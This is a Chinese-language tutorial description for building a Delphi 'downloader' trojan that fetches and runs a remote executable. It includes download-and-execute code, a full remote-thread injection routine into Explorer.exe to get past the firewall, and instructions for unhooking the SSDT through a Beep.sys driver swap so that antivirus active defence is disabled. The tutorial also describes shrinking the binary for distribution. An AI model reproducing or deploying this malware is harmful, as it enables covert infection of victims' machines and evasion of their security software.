| 动画介绍:今天给大家来个教程 使用Delphi编写自己的个人版本穿墙过主动下载者.
首先我们来构造一个简单的下载者 调用UrlDownFileToA来下载滴~~就2代码,我已经构造好了~~
URLDownloadToFile(nil,’http://127.0.0.1/mmtest/mm.exe,’C:\box.exe’, 0, nil);
WinExec(’C:\box.exe’, SW_SHOW);
我们把它复制到Delphi里面看看效果 下载的程序是一个我自己弄得测试窗口~~
代码我一同提供了,呵呵~~ 非常简单 就一句话 很简单吧
穿墙我们一般使用进程注入的方法 这里由于我的网络出现故障 只能本地搭建http服务器进行演示了 其实都一样 呵呵 netbox服务器 哈
下面这个是远程线程插入的代码 用于代码注入并启动远程线程很简单的 不懂的可以去查MSDN
procedure Inject(ProcessHandle: longword; EntryPoint: pointer); var Module, NewModule: Pointer; Size, BytesWritten, TID: longword; begin Module := Pointer(GetModuleHandle(nil)); Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage; VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE); NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten); CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID); end;
这里演示的是插入Explorer.exe 有兴趣的可以改成插入IExplore.exe的 呵呵
Explorer.exe在启动后的窗口类名是 Shell_TrayWnd (可以通过SPY++查找到)
我们需要一个API GetWindowThreadProcessId来通过窗口句柄获取进程ID
具体实现代码如下: GetWindowThreadProcessId(FindWindow(’Shell_TrayWnd’, nil), @PID);
打开找到PID以后呢 我们调用OpenProcess打开需要注入代码的进程空间 获得一个进程句柄~ 然后把句 柄传递给我们定义的Inject过程实现代码注入 ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
理论说完了,我们打开Delphi 我们首先需要修改这个EXE的镜像基址 因为Windows默认的镜像基址是00400000,如果我们不修改程序的镜像基址的话就会把目标程序中与本程序相同地址的数据覆盖,造成错误;如果我们修改了镜像基址,那么在目标进程与本模块相同地址分配内存,这样就不会因为内部地址不同产生错误 很绕口呵呵 自己下去再研究吧
好 说了那么多,让我们开始动手实践吧 首先我们建立一个控制台工程 把{$APPTYPE CONSOLE} 去掉 这一句是用于定义程序的类型的,如果有这一句就会弹出一个黑色窗口.... 然后把Uses下面的单元添加Windows 和Urlmon 因为我们要调用的API在2个单元里面 加完以后 我们需要把我们之前测试的代码改成一个过程 看我操作 这里的stdcall必须加 因为Delphi的代码入栈方式是stdcall 我们编译测试一下 这里还需要调用LoadLibrary加载Kernel32.dll 因为Winexec函数在里面 同样的UrlDownFileToA则是Urlmon.dll的导出函数 好了 编译成功 测试一下 刚才出错了 找找原因....这个是代码注入 少有错误就会导致宿主进程的崩溃....娘的 少了$... 再试试看 但愿别出错 哈 好了~~ 实在不好意思啊 由于我的疏忽啊 .... ///////////////////////////////////////////////////////////////////// 上面的插入进程完了 可以穿越防火墙了 但是我们的这个程序调用了WriteProcessMemory和CreateRemoteThread 函数 会造成主动防御的报警 而绝大多数主动防御程序都使用的是HOOK SSDT的方式来实现对程序行为的监控 所以如果我们把杀毒软件的SSDT钩子恢复成系统初始的 那么这个主动防御就废了 呵呵 这里我提供了一个恢复SSDT的源码 与教程一起提供的 呵呵 而且我的这个代码是替换Beep.sys实现的驱动加载 可以过卡巴7 325版本的 这个程序我只导出了一个过程:Procedure RESSDT; 所以我们只要在程序Uses里面加入Unit_RESSDT单元 在插入进程之前把SSDT恢复了主动就不报警了 看我操作 //////////////////////////////////////////////////////////////////// 好了 现在程序完成了 我们需要把生成的程序优化一下 毕竟是下载者嘛 体积太大了会卡网速的 具体的优化步骤看我博客上的文章 这里顺便做这个演示
好 优化完了 看看大小 5,176字节 很小吧 测试一下我们的下载者的效果 我这里安装了EQ 有很多SSDT钩子 用冰刃看一下下 很多红色的钩子吧 然后运行我们的下载者 测试看看效果
再看看我们的SSDT钩子~~ 全部没了 这个主动就废了 哈~ 我这里因为没有安装过卡巴 我测试都是在我另一台主机上 但是 这个方法是流行的下载者都用的方法 绝对有效~~ |